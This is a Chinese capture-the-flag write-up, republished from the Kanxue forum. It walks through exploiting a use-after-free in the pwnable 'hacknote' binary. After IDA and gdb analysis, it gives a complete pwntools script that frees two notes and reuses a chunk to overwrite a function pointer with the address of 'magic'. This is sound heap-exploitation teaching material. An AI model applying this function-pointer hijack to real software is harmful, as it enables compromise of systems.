本文为看雪论优秀文章
看雪论坛作者ID:直木
步骤一:运行查看
步骤二:查看文件类型和保护机制
32位程序
步骤三:IDA反编译分析
main函数:
add_note函数:
print_note_content函数:
-
选中第一个notelist[2],按tab键,切换到汇编代码,分析得知对应调用函数的指令是call eax,拷贝地址;
-
然后在gdb中下断点,先r运行,输入1创建一个note;
-
然后输入3,进行打印,运行到断点处,si单步调试,进入函数,看到这个调用的函数就是print_note_content函数。
步骤四:调试和思路
struct note{
void* ptr = print_note_content;
char* content;
}
步骤五:Exploit
from pwn import *
context.log_level = 'debug'
p = process('./hacknote')
elf = ELF('./hacknote')
def add(size,content='aaaa'):
p.sendlineafter(':','1')
p.sendlineafter(':',str(size))
p.sendlineafter(':',content)
def delete(index):
p.sendlineafter(':','2')
p.sendlineafter(':',str(index))
def show(index):
p.sendlineafter(':','3')
p.sendlineafter(':',str(index))
sh = p32(elf.sym['magic'])
add(0x10)
add(0x10)
delete(0)
delete(1)
add(0x8,sh)
show(0)
def dbg():
gdb.attach(p)
pause()
#dbg()
p.interactive()
参考文献
-
ctf-wiki
-
https://www.bilibili.com/video/BV1iE411H7cZ
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
*本文由看雪论坛 直木 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):Pwn堆利用学习—— Use-After-Free——pwnable_hacknote
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论